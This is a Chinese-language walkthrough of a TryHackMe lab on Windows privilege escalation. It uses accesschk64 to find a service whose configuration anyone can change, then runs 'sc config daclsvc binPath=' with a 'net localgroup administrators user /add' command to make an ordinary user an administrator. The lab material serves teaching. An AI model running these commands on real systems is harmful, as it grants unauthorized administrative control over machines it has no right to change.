使用 binPath 提升 Windows 权限
binPath 是一个必需的服务参数,用于指定服务二进制文件的路径。如果任何服务配置了不正确的权限并提供对服务配置的未经授权的访问,攻击者可以利用此错误配置并通过binPath参数执行任意命令。
如果服务配置为以提升的权限运行,攻击者可以在以普通用户身份登录时以管理权限执行任意命令。
攻击背后的想法是识别以系统或管理权限运行的服务,并使用错误的权限来配置服务并通过binPath参数执行任意命令。
Windows 特权升降架
在演示中,我将使用 TryHackMe 中的一个易受攻击的机器,名为Windows PrivEsc Arena。
·黑客机器IP - 10.10.249.6
·受害者机器的IP地址是10.10.140.212
·具有权限的用户 -用户
初始访问
因此,我们可以使用普通用户user的权限进行访问。我们需要通过将用户用户添加到管理员组来提升权限。
具有用户权限的受害计算机
我们看到只有TCM用户是 Administrators 组的成员。
管理员组服务
第一步是为服务定义弱权限。我们可以使用Accesschk工具来查找可以修改的服务
accesschk64.exe –wvcu Everyone *
(Shows all the services that has write access to Everyone)
-u = Suppress Errors-w = Show only objects that has write access
-v = Verbose
-c = Name as a windows service ( * for all the services)
Accesschk 的智能
daclsvc服务将SERVICE_CHANGE_CONFIG权限设置为每个人。
我们可以使用以下命令查询服务以获取更多信息:
accesschk64.exe –wvcu daclsvc
daclsvc 服务
sc qc daclsvc
电脑daclsvc 服务
在上面的屏幕截图中,您可以看到daclsvc服务正在以系统权限运行。让我们尝试使用错误的配置将用户用户添加到管理员组。
开发
使用以下命令更改daclsvc服务的 binPath参数:
sc config daclsvc binPath=“net localgroup administrators user /add”
更改 binPath 参数
我们看到命令执行成功。让我们检查binPath参数:
sc qc daclsvc
daclsvc 查询服务
重新启动服务后,用户user将被添加到管理员组中。
电脑服务开始
结论
我向您展示了如何使用 binPath 参数在 Windows 上提升权限。为了防止攻击,您必须防止未经授权的管理员对服务进行更改。
电脑